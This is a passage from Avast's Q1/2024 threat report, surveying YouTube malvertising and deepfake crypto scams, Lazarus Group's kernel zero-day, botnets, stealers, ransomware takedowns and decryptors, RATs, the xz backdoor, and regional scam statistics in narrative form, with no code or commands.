On the mobile front, weβve witnessed several intriguing developments, including the resurgence of adware on the PlayStore, the emergence of MoqHao, a banker strain capable of auto-starting on victim devices, and the proliferation of GoldPickaxe, which attempts to steal facial recognition biometrics for fraudulent activities. Additionally, state-sponsored spyware continues to pose a threat to citizens.
Thank you for your continued trust in Avast. Stay safe and secure.
Jakub KΕoustek, Malware Research Director
Methodology
This report is structured into two main sections: Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, with a specific emphasis on web-related threats, and Mobile-related threats, where we describe the attacks focusing on Android and iOS operating systems.
We use the term βrisk ratioβ in this report to denote the severity of specific threats. This is calculated as a monthly average of βNumber of attacked users / Number of active users in a given country.β Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.
A blocked attack is defined as a unique combination of the protected user and a blocked threat identifier within the specified time frame.
Featured Story: YouTube β the New Battleground for Phishing, Malvertising, and CryptoscamsΒ
YouTube, with its 2.5 billion users, has become a trusted and significant target for malvertising. The combination of automated advertising systems and user-generated content provides a gateway for cybercriminals to bypass conventional security measures, making YouTube a potent channel for deploying phishing and malware. Notable threats on the platform include credential stealers like Lumma and Redline, phishing and scam landing pages, and malicious software disguised as legitimate software or updates. Additionally, YouTube serves as a conduit to Traffic Distribution Systems (TDS), directing users to malicious sites and supporting scams ranging from fake giveaways to investment schemes.
Our web scanning endpoints actively block thousands of HTTP requests, daily, that are redirected from YouTube as our users view content. This activity reflects a worrying trend:Β
4 millions unique users were protected against threats on YouTube in 2023Β
Approx 500k unique users per month protected in Q1/2024
The rise of DeepFake videos in YouTube poses significant risks by realistically mimicking people or events, misleading viewers, and spreading disinformation. In Q1 we observed multiple compromised YouTube accounts with more than 50 million subscribers hijacked to spread Cryptoscam Deefake videos (more about this topic is described below in the Scam section).Β
Threat actors frequently utilize automated uploads and Search Engine Optimization (SEO) poisoning to enhance the visibility of harmful content. Additionally, fake comments are rampant, deceiving viewers,Β promoting dangerous links, and exploiting YouTubeβs algorithms and user engagement to disseminate cyber threats.
There are numbers of ways in which YouTube can be exploited to disseminate threats. Observed basic Tactics and Procedures (TTP) on YouTube include:
Phishing Campaigns Targeting Creators: Attackers send personalized emails to YouTube creators proposing fraudulent collaboration opportunities. Once trust is established, they send links to malware under the guise of software needed for collaboration, often leading to cookie theft or account compromise.Β
Compromised Video Descriptions: Attackers upload videos with descriptions containing malicious links, masquerading as legitimate software downloads related to gaming, productivity tools, or even antivirus programs, tricking users into downloading malware
Channel Hijacking for Spreading Threats: By gaining control of YouTube channels through phishing or malware, attackers repurpose these channels to promote various types of threats, such as cryptocurrency scams, often involving fake giveaways that require an initial deposit from viewers.
Exploitation of Software Brands and Legitimate-Looking Domains: Attackers create websites that mimic reputable companies and offer illegitimate downloadable software, exploiting usersβ trust.
Social Engineering via Video Content: Attackers post tutorial videos or offers for cracked software, guiding users to download malware disguised as helpful tools. This tactic takes advantage of users seeking free access to otherwise paid services or software, leveraging YouTubeβs search and recommendation algorithms to target potential victims.
David Jursa, Malware Researcher Luis Corrons, Security Evangelist
Desktop-Related Threats
Advanced Persistent Threats (APTs): Lazarus Group in the Spotlight
An Advanced Persistent Threat (APT) is a type of cyberattack that is conducted by highly skilled and determined hackers who have the resources and expertise to penetrate a targetβs network and maintain a long-term presence undetected.
We discovered a Lazarus Group campaign targeting specific individuals in Asia with misleading job offers. The precise intent of the campaign remains unknown, but the selective nature of these attacks indicates a focused interest in individuals possessing technical expertise. We suspect that these technically skilled individuals might have connections to companies involved in the gambling or betting industry, aligning with Lazarus Groupβs financial motivations.
We believe the Lazarus Group used fabricated job offers to gain access to the personal computers of these victims who also used these devices for work purposes. It is likely that, a few days after the initial compromise, the attackers realized the victims had access to their company networks. Consequently, Lazarus employed sophisticated rootkit technologies to evade security measures and some security vendors.
This approach reflects the Lazarus Groupβs historical tactics of exploiting vulnerable drivers and employing advanced rootkit techniques to disrupt security systems and maintain persistent access.
In this specific instance, Lazarus exploited a vulnerability in the standard Windows driver, appid.sys (CVE-2024-21338), to neutralize security software. Further details on this vulnerability can be found in our related blog post.
The complexity of these attack chains suggests that Lazarus devoted substantial resources to their planning and execution. Before executing the attack, Lazarus carefully prepared by deploying fileless malware and encrypting their tools directly onto the hard drives, as detailed in the blog post and as we recently presented at Black Hat Asia 2024 conference.
The careful and highly targeted choice of victims suggests that establishing some level of trust or connection was likely necessary before initiating the malware. The deployment of such a sophisticated arsenal, coupled with the exploit, highlights significant strategic foresight and resource commitment.
Luigino Camastra, Malware Researcher Igor Morgenstern, Malware Researcher
Bots (With a Twist)
Bots are threats mainly interested in securing long-term access to devices with the aim of utilizing their resources, be it remote control, spam distribution, or denial-of-service (DoS) attacks.
To start on a lighter note, the biggest news in the botnet landscape was an unfortunate article in Swiss media outlet Aarguaer Zeitung which claimed a large-scale DDoS attack of millions of toothbrushes running Java. While the thought of a web-connected toothbrush running Java (which were also allegedly DDosing some random Swiss webpage) is really scary, it has been soon rectified as an inaccurate report and there was no such army of Pro-Russian toothbrushes, as the initial report suggested.
Now, unfortunately, onto the more serious note. On the geopolitical side of the threat landscape, Ukrainian state-owned enterprises have been significantly hit with DirtMoe. Due to our extensive research on DirtMoe, CERT-UA reached out to us to assist them with the remediation. Based on the experience from this successful remediation, an advisory on DirtyMoe was published by CERT-UA.
Twizt botnet has received a new module in its update providing functionality that fuels its sextortion campaign. This module relies on the common strategy of extorting the user with fake and sensitive information that was allegedly recovered from their device or account. In the case of the former, the threat actor usually refers to a device infected with RAT, in the case of the latter, the message usually contains a fake sender header and a password to give the impression that the userβs mail account has been hacked. Nevertheless, all the sent information is fabricated, and the password was quite likely taken from one of the leaked password databases that are circulating the dark web.
Last year, Twizt started bruteforcing Virtual Network Computing (VNC) credentials. At the beginning of the year, they switched to brute-forcing SMB credentials, instead. Twizt contains a hard-coded list of username/password pairs that are tried against a randomly generated target. Successful authentications are then reported to its command-and-control (C&C) server.
Our usual story on DDosia has a very surprising twist this quarter. Presumably, someone was actively targeting the DDosia C&C infrastructure, repeatedly causing outages in the proxy servers fronting real C&C servers. This resulted in rapid infrastructure changes in this outer layer, with every new proxy C&C having an approximate lifetime of 2 days before being unavailable again. Due to the absence of a client update mechanism in case of C&C outage, this forced the project owners to produce new clients every few days. Later, they started distributing new clients exclusively via private messages, presumably to reduce information exposure.
The requirement to manually update DDosiaβs binary with each update along with frequent C&C outages resulted in a significant decrease in the impact of their attacks. This has prompted a heated backlash on the projectβs Telegram channel where βpatriotic activistsβ started complaining that these issues are seriously impacting their cash-flow.Β
This was particularly notable around February 19 when eight proxy C&Cs were shut down for five days. Even after this date, they were not able to return to their previous efficacy. The only peak during Q1/2024 is an attack at the end of March when DDosia targeted services associated with the Luxembourg government. While the number of successful targets seems to be rather high, it targeted infrastructure that was hosted on only 3 IP addresses with many subdomains. These turbulent changes were crowned by a move to a different Telegram group called βDDoSia Projectβ on March 7 with the original group being removed. While, up to that date, the original group was growing, ending with approximately 20,000 members, the new group started up with only around 12,000 members and soon continued in this downward trend.
While in the previous quarter DDosia was mostly focusing on banks, during the first quarter of 2024 DDosia focused mostly on various industry consortia, courts, press agencies, CERTs, and transport and logistic companies. The underlying logic stayed mostly the same β finding targets within countries that went against Russian interests.
As for the trends in the whole botnet landscape, many of the prevalent strains have stagnated. Still, weβve seen several bigger shifts in their prevalence, including increased activity of BetaBot (13%). On the other hand, most of the other strains seem to be in decline with the following strains seeing the biggest drops: Pikabot (-48%), Tofsee (-31%), MyKings (-21%), and Dridex (-21%).
Adolf StΕeda, Malware Researcher
Coinminers Continue to Decline
Coinminers are programs that use a deviceβs hardware resources to verify cryptocurrency transactions and earn cryptocurrency as compensation. However, in the world of malware, coinminers silently hijack a victimβs computer resources to generate cryptocurrency for an attacker. Regardless of whether a coinminer is legitimate or malware, itβs important to follow our guidelines.
In the previous quarter, we observed a continued decline in the prevalence of coinminers. This downward trend persisted into Q1/2024, where the risk ratio decreased by a substantial 28%. This decrease was influenced by a slight reduction in the coinminer malware share of XMRig, which had surged in the previous quarter. However, nearly all other major coinminers actually increased in activity, thereby expanding their share.
After the surge in the USA and Turkey the previous quarter, the situation calmed down a bit and we observed 39% decrease in risk ratio both countries. According to our data, more significant declines happened in India (22%), Egypt (19%), and Pakistan (13%). In total, the biggest risk of getting infected by a coinminers is still in Madagascar (2.18% risk ratio), Turkey (1.47%), Pakistan (1.35%), and Egypt (1.14%).
In the graph below, we can observe a steady decline in coinmining activities.
XMRig, the long-time most popular coinminer, decreased in coinminer malware share by 6% this quarter. Yet, it still holds 60% of the total share. All other major coinminers saw an increase in their activity, including web miners (5% increase), CoinBitMiner (24%), FakeKMSminer (37%), among others. On the other hand, SilentCryptoMiner lost 58% share this quarter.
The most common coinminers with their malware share in Q1/2024 were:
XMRig (59.53%)
Web miners (20.20%)
CoinBitMiner (2.67%)
FakeKMSminer (2.03%)
NeoScrypt (1.75%)
CoinHelper (1.05%)
VMiner (0.86%)
SilentCryptoMiner (0.84%)
Jan RubΓn, Malware Researcher
Information Stealers are Still Dominated by AgentTesla
Information stealers are dedicated to stealing anything of value from the victimβs device. Typically, they focus on stored credentials, cryptocurrencies, browser sessions/cookies, browser passwords and private documents.
AgentTesla, traditionally the most prevalent information stealer we protect our users against, continued to attack users by leveraging email campaigns. One such campaign targeted Czechia, spreading the stealer via malicious attachments.
TimbreStealer, targeting almost explicitly users in Mexico, is a newcomer in the information stealers landscape. The malware is quite advanced and multi-modular, containing techniques like Heavenβs gate, among many others. It also introduces many tricks for preventing execution in sandboxes and proper debugging.
Malware-as-a-Service (MaaS) stealers continue to thrive, finding new distribution methods whenever possible. For example, DarkGate was observed to be spread via Microsoft Teams, using phishing. Furthermore, from the more technical perspective, DarkGate was exploiting Microsoft Windows SmartScreen (CVE-2024-21412).
We have also observed a DarkGate campaign distributed via malicious PDF files, abusing crypto exchange and the WebDAV server. The malware delivery was done using an InternetShortcut link (.URL file), downloading the content from an opendir.
On the other hand, Lumma Stealer, which is yet another MaaS stealer, continues to spread via cracked software propagated on YouTube, using fake tutorials to mislead victims. This further emphasizes that such strains β and their creators β never miss an opportunity to leverage social engineering to distribute malware.
With regards to macOS, AtomicStealer, also known as AMOS, saw a consistent rise in occurrences on this platform during Q1/2024. This typically obfuscated malware is known for stealing passwords, cryptocurrency wallets, and cookies. It often infiltrates systems via counterfeit applications or through Google Ads poisoning. The existence of multiple generations of this threat suggests that it is likely to persist in the future, which is further underlined by its new version that was carried by a malvertising campaign in the beginning of the year.
In terms of Linux, Python information stealers were the more prevalent strains of this type with well-known malware families like Spidey, Creal, Wasp or PirateStealer. Additionally, in this quarter we uncovered a new malware strain identified as PassSniff/Putin and written in C++ that, instead of stealing the passwords from disk, steals the passwords by sniffing the HTTP traffic using both, generic rules and specific rules targeting popular services and applications.
Statistics
Overall, the global risk ratio decreased by 8% in Q1/2024 for information stealers. However, many popular stealers further increased their reach, including AgentTesla, Stealc, Fareit, and ViperSoftX.
Each of the countries where we observe the risk ratio with regards to information stealers and where we have more significant userbase thankfully experienced a decrease in activity compared to the previous quarter:
Turkey (2.29%) with 23% Q/Q decrease
Pakistan (2.05%) with 11% Q/Q decrease
Egypt (1.78%) with 10% Q/Q decrease
On the other hand, we also measured increases in activity in Mexico and Czechia, following the aforementioned TimbreStealer and AgentTesla campaigns, were the risk ratio increased by 25% and 14%, respectively.
AgentTesla, the most prevalent information stealer according to our data, has increased its malware share by 17%. Its campaigns primarily target Central Europe and both North and South America. As a result, it now holds a significant 30.31% of the malware share. Notably, almost every bigger information stealer experienced an increase in activity, including Fareit (34% increase), Stealc (33%), ViperSoftX (28%), and Azorult (14%). FormBookβs share decreased by 32%, as well as Lokibotβs by 50%, balancing the scales of the overall activity of information stealers.
The most common information stealers with their malware shares in Q1/2024 were:
AgentTesla (30.31%)
Fareit (7.55%)
FormBook (6.92%)
RedLine (4.37%)
Stealc (2.81%)
ViperSoftX (2.28%)
Azorult (1.93%)
ClipBanker (1.72%)
Raccoon (1.56%)
Lokibot (1.41%)
Rhadamanthys (1.36%)
Jan RubΓn, Malware Researcher David Γlvarez, Malware Analyst
Ransomware: Fighting it Back
Ransomware is any type of extorting malware. The most common subtype is the one that encrypts documents, photos, videos, databases, and other files on the victimβs PC. Those files become unusable without decrypting them first. To decrypt the files, attackers demand money, βransomβ, hence the term ransomware.
The LockBit Story
In the previous threat report, we discussed new ransomware attacks. One of the top ransomware strains (or gangs, if you wish) is LockBit, which continues its encryption and extortion attacks with an undiminished intensity.
Because of the notoriety of LockBit, their β albeit brief β takedown in Q1/2024 was watched closely by the public.Β On February 19, operation Cronos was announced, which was a joint operation between law enforcement agencies in 10 countries. As a part of this operation, the FBI successfully breached the LockBit infrastructure, secured about 1000 private encryption keys and released a public decryptor. The following is the timeline surrounding the initiative:
Feb 19: Operation Cronos was unveiled. LockBit leak site was replaced by a landing page from the associated law enforcement agencies:
The main panel was replaced with a version augmented by the authorities, outing the criminality of ransomware operators:
For four days, there was no information about new victims of the LockBit ransomware
Feb 24: A long message from LockBit was published by DarkWebInformer. This message explained what happened and questioned the law enforcement agenciesβ success. The author of the message explains that some of his servers were running an outdated version of PHP and hence were vulnerable to CVE-2023-3824.
Feb 25: The LockBit leak site was restored, with the FBI now shown as one of the victims. Additionally, the information about leaked data from Fulton County was re-uploaded. Note that the Fulton County Government was allegedly attacked by LockBit on Feb 14 and the leaked data was mentioned in LockBitβs message as the reason that the FBI stopped the operation instead of silently watching the servers and exfiltrating LockBitβs data increasingly, as their criminal activities continued.
A tool for decrypting LockBit-encrypted data using one of 1000 seized encryption keys is. The importance of these encryption keys has been questioned by the LockBit operator himself, saying (quote) βNote that the vast majority of unprotected decryptors are from partners who encrypt brute force dedicas and spam single computers, taking $2000 ransomsβ (end quote). Users attacked by LockBit ransomware may use the tool to verify if their data can be decrypted using one of the keys that were seized during the Cronos operation.
Another LockBit-related incident happened at the beginning of 2024, which demonstrates some of the ransomware operatorsβ modus operandi. After LockBitSupp gained access to an unspecified company, encrypted their data, and received ransom payout, he that provided access to the network.
This little incident shows what ransomware operators do to penetrate a company:
Ransomware operator βbuys an accessβ which means obtaining information about a company, its vulnerabilities and how to breach its network.
Then the operator maps the company network and eventually deploys the ransomware.
When the attacked company pays the ransom, the βaccess sellerβ gets paid for the access.
Ransomware Decryptors
As a part of the ongoing battle against ransomware, Avast released two ransomware decryptors: HomuWitch and Rhysida.
HomuWitch
HomuWitch is a ransomware that stayed under the radar since July 2023, because it targets end users with smaller ransom demands (25 β 75 USD). Searching for pirated software is the most common infection vector β instead of the desired software, users may download SmokeLoader backdoor, which later installs malicious dropper for the ransomware payload.
Unlike most ransomware strains that perform file encryption, HomuWitch also adds compression, so the encrypted files are smaller than their originals. When executed, HomuWitch searches local drives and user folders (Pictures, Downloads, Documents). All files of interest (.pdf, .doc, .docx, .ppt, .pptx, .xls, .py, .rar, .zip, .7z, .txt, .mp4, .JPG, .PNG, .HEIC, .csv) are encrypted and renamed to the .homuencrypted extension:
While analyzing this ransomware, we found a vulnerability that allows affected users to recover their files for free. We released free decryptor that is available on our website.
Rhysida
Rhysida is another ransomware strain defeated by the free decryption tool. This ransomware has been active since May 2023 and focuses on the enterprise sector. During summer, we discovered that this ransomware strain is decryptable without having the private RSA key, so we have been helping people who were attacked by the Rhysida ransomware.
In February 2024, Korean researchers also discovered that vulnerability and released their decryption tool publicly. It is always unfortunate to publish detailed information about the details of a vulnerability β we would like to ask fellow malware researchers not to do so and focus more on helping people affected by ransomware attacks.
Now that the details of the vulnerability are public, we also released a free decryption tool that is available both on our website and as part of the NoMoreRansom project.
Statistics
The most prevalent ransomware strains that we block in our userbase are listed below. As opposed to more popular threats like LockBit, Akira or BlackCat, you rarely read about those strains in media because β instead of attacking a large company and demanding millions of USD as ransom β these strains focus on either individual users or small businesses, and they demand ransoms that are in the thousands of dollars range.
WannaCry (21% of ransomware share)
Enigma (12%)
STOP (12%)
Mallox (aka TargetCompany) (3%)
DarkSide (2%)
Cryptonite (1%)
The overall ransomware risk ratio in our user base is showing an increase when compared to the previous quarter. The situation started escalating in March 2024:
The ransomware risk ratio per country is depicted on the following map. We have noticed a significant increase in Bulgaria, Japan, Czechia, and Hungary where the risk ratio more than doubled Q/Q.
Ladislav Zezula, Malware Researcher Jakub KΕoustek, Malware Research Director
Remote Access Trojans (RATs): The End of Warzone
A Remote Access Trojan (RAT) is a type of malicious software that allows unauthorized individuals to gain remote control over a victimβs computer or device. RATs are typically spread through social engineering techniques, such as phishing emails or infected file downloads. Once installed, RATs grant the attacker complete access to the victimβs device, enabling them to execute various malicious activities, such as spying, data theft, remote surveillance, and even taking control of the victimβs webcam and microphone.
Similarly to Q1/2023 and the Netwire takedown, this year also begins with a takedown action against one of the major players in the RAT scene β theΒ Warzone RAT was taken down at the beginning of February. According to our data, the effect was immediately visible as a sudden drop in the number of detected attacks by Warzone. Besides this takedown, it was a rather slow start to the year with only a few notable events in the RAT sphere.
Compared to Q4/2023, the global risk ratio in the first quarter of 2024 is following a downward trend. There are several reasons for this decline. The big players Remcos, njRAT, and AsyncRat seem to have eased off a little and the number of attacks in Q1/2024 was lower than what we typically see. The takedown action against Warzone might have caused some RAT operators to halt or pause their activities. While we see increased activity of less prevalent malware strains, this isnβt enough to compensate the overall attack numbers.
The top 3 countries and RATs have not changed. We still see the highest risk ratio in Afghanistan, Iraq and Yemen, with HWorm and njRAT as the most active threats there.
The biggest increase in risk ratio was observed in Canada (+69%) due to increased activity of XWorm in February. This led to XWorm increasing its malware share by 378% which makes it the most prevalent RAT in Canada. The second highest share is in New Zealand (+33%) followed by Switzerland (+14%). Remcos was the dominant force in both countries. Despite this rise of risk ratio, Switzerland is still among the safest countries regarding RAT attacks.
The most prevalent remote access trojan strains in our userbase are as follows:
HWorm
Remcos
njRAT
AsyncRat
QuasarRAT
Warzone
FlawedAmmyy
XWorm
NanoCore
DarkComet
Although the overall number of detected attacks by Remcos slightly dropped, it is still very active. We recently warned about a campaign targeting most of Eastern Europe; this campaign was created in the Russian language and used a common lure βInvoice payment confirmationβ.
We already mentioned XWorm in relation to Canada, however it also managed to increase its presence in most parts of the world. We also see XWorm frequently releasing new versions.
On February 7, an international operation targeted the Warzone RAT resulting in the seizure of four domains, including the primary site βwarzone.wsβ, and server infrastructure. One suspect was arrested in Malta and another in Nigeria. The FBI led the operation with assistance from Europol, the U.S. Department of Justice, and local law enforcement agencies. The suspects are accused of selling and advertising the RAT, providing support, and unauthorized damage to protected computers.
FortiGuard Labs also uncovered a phishing campaign spreading a new RAT, VCURMS. The campaign uses a downloader with payloads stored on public services like AWS and GitHub. There are two known payloads β the new VCURMS and STRRAT. STRRAT is also a remote access trojan which appeared in 2020. The interesting part of VCURMS is its unusual command and control channel. It communicates using emails with a Proton Mail address. Like STRRAT, VCURMS is also coded in Java. Another notable feature is its infostealer module which looks similar to RudeStealer.
Phylum and Sonatype discovered another supply chain attack in Q1/2024. Both teams found malicious packages in PyPI. These packages deploy a RAT that can also steal information from infected machines. Phylum named this threat βpoweRATβ, because it relies on PowerShell in the early stages. Both reports mention the following packages as affected: pyrologin, easytimestamp, discorder, discord-dev, style.py and pythonstyles. Sonatype followed up on this story, adding several more packages to the list and showing how this threat has evolved. Communication with the C&C server happens via a Cloudflare Tunnel created from the infected machine, which means the malware does not need to modify any firewall settings. The features of RAT and information-stealing components are common on their own β however, when they combine, they create quiteΒ a dangerous threat. Phylum refers to it as a βRAT on steroidsβ and Sonatype as βRAT mutantβ.
OndΕej MokoΕ‘, Malware Researcher
Vulnerabilities and Exploits: An Actively Exploited Admin-to-Kernel Zero-Day
Exploits take advantage of flaws in legitimate software to perform actions that should not be allowed. They are typically categorized into remote code execution (RCE) exploits, which allow attackers to infect another machine, and local privilege escalation (LPE) exploits, which allow attackers to take more control of a partially infected machine.
In the February Patch Tuesday update, Microsoft patched CVE-2024-21338, a zero-day admin-to-kernel vulnerability discovered by Avast researchers. This zero-day was initially exploited in the wild by the Lazarus Group, who used it to enable an updated version of their FudModule data-only rootkit. This marked a significant improvement in capabilities, as previous versions of the FudModule rootkit were enabled by targeting known vulnerable drivers for BYOVD (Bring Your Own Vulnerable Driver) attacks.Β
Upgrading from BYOVD techniques to a zero-day in a built-in driver made the entire attack significantly stealthier, however, this wasnβt the only upgrade. Lazarus also revamped the rootkit functionality, targeting registry callbacks, object callbacks, process/thread/image callbacks, file system minifilters, Windows Filtering Platform, Event Tracing for Windows, and image verification callbacks. Additionally, the threat actors implemented a noteworthy handle table entry manipulation technique, attempting to suspend critical processes associated with Microsoft Defender, CrowdStrike Falcon, and HitmanPro. For a deeper understanding of this attack, we recommend reading our two technical blogposts or watching our Black Hat Asia 2024 talk.
In other news, the open-source world was shocked by the discovery of a backdoor in the xz/liblzma compression library. This backdoor was discovered by software engineer Andres Freund, who noticed that failing ssh logins were consuming suspicious amounts of CPU, and did the world a huge favor by deciding to investigate the root cause. The attacker(s) went by the name Jia Tan (their exact affiliation/motivation remain unclear) and demonstrated a remarkable level of patience, slowly building up trust by contributing to the open-source project for over two years. Eventually, they decided to strike and β over a number of commits β introduced the backdoor, the ultimate goal of which was to allow remote SSH logins to those with the possession of the right private key (CVE-2024-3094).Β
Fortunately, the backdoor was discovered relatively early, so the attackers didnβt have enough time to get the malicious code merged into major Linux distributions like Debian or Red Hat. This was a close call, however, which should be very alarming, as this could have easily been one of the biggest security incidents that we have seen in recent years. While open-source code is often regarded as more trustworthy than its closed-source counterpart, this attack demonstrates that it comes with its own challenges. Many critical open-source projects are maintained with little funding by overworked volunteers, which might unfortunately make them vulnerable to similar attacks.
Another interesting discovery was related to hyperlinks in Outlook. While Outlook would, under usual circumstances, not follow βfile://β protocol links to remote resources, Haifei Li of Check Point Research discovered that just adding an extra exclamation mark (β!β) followed by some arbitrary characters might change this behavior completely. This vulnerability was assigned CVE-2024-21413 and dubbed MonikerLink, as the exclamation mark essentially turns the link into a composite moniker. When a user received an email and clicked on such a link, the remote file would be fetched and possibly parsed in the background.Β
Interestingly, the impact of this is twofold. First, following the link to load a resource from a remote SMB server represents yet another way to force NTLM authentication, allowing the remote server to capture NTLMv2 hashes. Second, an attacker might use this to trigger some vulnerable code, as the fetched resource might be opened in the background, attempting to look up the item moniker (the string appended after the exclamation mark). For instance, the Check Point blog demonstrated this on an RTF file, which would get opened in Microsoft Word outside protected view, representing a very sneaky 1-click vector to deliver an RTF exploit.
Jan VojtΔΕ‘ek, Malware Researcher
Web Threats
The significance of web threats can be well seen not only in the numericalΒ statistics but also in the creativity of the scammers themselves. We see scammers trying to take advantage of different trends in different groups. These cybercriminals are using the latest technology in the field of AI, or they are not afraid to invest in their fraudulent practices to improve the sophistication of their scams through other methods.Β
Last quarter, we reported that scams, together with phishing and malvertising, accounted for more than 75% of all threats blocked by Avast throughout the year. This quarter we have blockedΒ over 80% for the same type of threats. This indicates a rather interesting β and very scam-ridden β start to the year.
Scams Everywhere, Including Video
A scam is a type of threat that aims to trick users into giving an attacker their personal information or money. We track diverse types of scams which are listed below.
In our Q4/2023 report, we pointed out that scam activity is increasing significantly. At that time, we saw that one of the main reasons was the high rate of malvertising campaigns. This trend has continued in Q1/2024, with the activity level from the previous peak.Β
Our data again shows that sites offer deals and then sending push-notifications are contributing significantly to this trend. With this in mind, we again urge everyone to always consider from which website you want to allow to send you notifications. Also remember that scammers try to disguise these offers of sending notifications as, for example, video players or as adult confirmations.
If you, unfortunately, allow access to malicious notifications, you may encounter the situation shown below.Β
The increasing use of malvertising and push-notifications by scammers only confirms our predictions for 2024, when we repeatedly warned that this is a global threat with huge risk potential, especially on mobile phones.
If we look at activity in specific countries, we see that Ukraine exhibited the most significant surge in risk ratio, with a concerning 97% increase (the overall risk ratio for first quarter is set at 16.51%).Β
Similarly, Kazakhstan and Uzbekistan displayed significant jumps in their risk ratios, +89% and +56% respectively, marking these countries as emerging hotspots for scam-related threats with overall risk ratios of 14.24% and 12.45%.
If we look further, we see interesting data for India, which also saw an increase in scam threats The current risk ratio for India is 17.26% with a quarter-over-quarter risk ratio increase of +24%.
We identified the highest scam risk ratio Georgia and Serbia in Q1/2024, with more than 30% risk ratio. In the absolute numbers, the majority of scam-targeted users were in France, Brazil, and the US.
Scam Delivery via Video
In Q1/2024 we continued to witness scam authors heavily using videos as lures in their scams. Whether video made from stock footage or an elaborate deep fake video, scammers are using all video varieties in their threats. One of the most widespread techniques involved exploiting famous individuals and significant media events to attract large audiences. As a result, scammers have devised enticing schemes that capitalize on the familiarity of well-known personalities and important world events.
An increasingly common feature of these campaigns is the use of deep fake videos, created by hijacking official videos from events and using AI to manipulate audio synchronization. These videos seamlessly blend altered audio with existing visuals, making it harder for the untrained eye to tell theyβre anything but authentic. Moreover, scammers insert QR codes, leading to well-designed web pages, that promise exclusive opportunities, luring victims into further engagement.
Cryptocurrency scams of this type are particularly increasing. Once an individual moves from the video lure to the fraudulent website, they are presented with different scenarios for obtaining βbeneficialβ cryptocurrencies. Victims are fooled into believing that participating in these schemes will bring considerable profits. The scammers consistently promise victims the same profit margin, and victims receive the impression that β by sending any amount of cryptocurrency to specific wallets β they will receive double the amount in return. The websites even implement fake online wallet monitoring, imitating legitimate transaction activity. Additionally, these deceptive sites typically include images of well-known personalities and logos associated withΒ authenticΒ cryptocurrency-related companies, adding an air of legitimacy.
However, the most significant cryptocurrency scam incident of the quarter was the misuse of the Starship Integrated Flight Test 3 (IFT-3). The attackers used the official SpaceX All Hands meeting video to deceive viewers and get them to visit the fraudulent websites. Moreover, the attackers have hijacked several YouTube channels, which have tens of millions of subscribers, to increase the probability of displaying a fake video in the list of recommended videos.
The preliminary analysis indicates that specific attackersβ wallets associated with these scamsβ campaigns have cashflows reaching tens of thousands of dollars.
The risk ratio of this financial scam was stable in Q1/2024, but we recorded a significant peak on March 14, 2024, related to the IFT-3 event.
In terms of country distribution, the leading countries affected by the scammer group are the United States, the United Kingdom, and Germany.
Dating Scams Skyrocketing
Dating scams, also known as romance scams or online dating scams, involve fraudsters deceiving individuals into fake romantic relationships. Scammers adopt fake online identities to gain the victimβs trust, with the ultimate goal of obtaining money or enough personal information to commit identity theft.
The last quarter of last year was very interesting for dating scams, with several large campaigns witnessed through our data. In Q1/2024, we saw a significant increase since the middle of February.Β
What is interesting is the high activity especially in Central Europe, with countries like Hungary, Slovakia, Denmark, Austria or the Czech Republic being the most affected.
Once again,Β these threats are strongly supported by advertising campaigns. We often see that the sources of these advertising campaigns are sites with adult content. On such pages, the owners often try to get as much commission as possible by trying to fit advertising on their sites with almost every interaction on the page. The user is often overwhelmed with pop-ups or new window redirects, usually to dating scam sites.
As you can see on the map, Hungary leads with the highest risk ratio rate at 5.06%. Following closely are Slovakia and Luxembourg, with risk ratios of 4.72% and 4.57% respectively.
Germany and Austria also show significant exposure to dating scams, with risk ratio rates of 4.27% and 4.10% and lastly, Czechia, with a risk ratio of 3.94%, rounds out the list.
Tech Support Scams (TSS): Steady Increase of AttacksΒ
Tech support scam threats involve fraudsters posing as legitimate technical support representatives who attempt to gain remote access to victimsβ devices or obtain sensitive personal information, such as credit card or banking details. These scams rely on confidence tricks to gain victimsβ trust and often involve convincing them to pay for unnecessary services or purchase expensive gift cards. Itβs important for internet users to be vigilant and to verify the credentials of anyone claiming to offer technical support services.
Throughout 2023, we observed a continual drop in activity related to tech support scams. In the first quarter of this year, we can say that this trend not only ended but quite the contrary β we observed an increase in tech scam activity over the quarter.
As seen on the chart above, the activity of this threat has reached the level of the beginning of Q4/2023.
Looking at the data of the full quarter, a clear increase trend is visible.
Switzerland experienced the most dramatic surge, with a 177% increase in TSS activityβthe highest observed this quarter. Austria also saw a significant rise, with a 101% increase. Germanyβs increase, though lower, was still notable at 65%. Additionally, Japan, traditionally a hotspot for TSS, reported a significant increase of 153%.
These escalating figures, especially notable in Europeβs wealthier nations, highlight a growing trend in cybersecurity threats in these regions.
Refund and Invoice Scams: iCloud Data Deletion Scam
Invoice scams involve fraudsters sending false bills or invoices for goods or services that were never ordered or received. Scammers rely on invoices looking legitimate, often using company logos or other branding to trick unsuspecting victims into making payments. These scams can be especially effective when targeted at businesses, as employees may assume that a colleague made the purchase or simply overlook the details of the invoice. Itβs important to carefully review all invoices and bills before making any payments and to verify the legitimacy of the sender if there are any suspicions of fraud.
One of the refund and invoice scams that caught our attention in Q1/2024 targeted a top-tier service, serving as a gateway to other less valuable ones, in our assessment. The targeted account was iCloud, accompanied by a TinyURL link to a payment gateway that extracts user information, including sensitive details. iCloud is undoubtedly one of the most vital accounts to protect by enabling multi-factor authentication in order to prevent malicious actors from stealing sensitive information. According to 9to5 Google, enabling multi-factor authentication for Google users led to a 50% decrease in compromised accounts.
We will delve into the campaign itself which begins with a malicious email, which may evoke early 90βs nostalgia because the attackersβ Comic Sans font choice. The aim of the email is to visually intimidate, highlighting the issue at hand: your beloved photos will be deleted unless you proceed to the fake payment gateway. As always, the loading bar creates a sense of urgency, while a missed payment statement compounds the pressure. A big red button labeled βFULLβ completes the sense of urgency, signaling that immediate action is required.
The email seemingly contains additional product and technical information to make it look authentic, all of which is fabricated. These include product IDs, expiration dates, and buttons for more storage. The only legitimate piece of the email is the unauthorized use of the actual iCloud logo. The subject of the email is also intriguing: weβre seeing that more cybercriminals aim to catch your attention with email subject lines using emoticons, as you see in the email sample below.
In terms of global prevalence, we can see that the English-speaking world is the most affected, along with the European Union. The countries that experienced the biggest spike in the last quarter are Belgium, up by 29%, the United Kingdom, up by 13%, and Luxembourg, up by 10%. On the other side of the spectrum, we have Australia, which experienced the largest drop, down by 29%, the United States, down by 15%, and Canada, down by 5%.
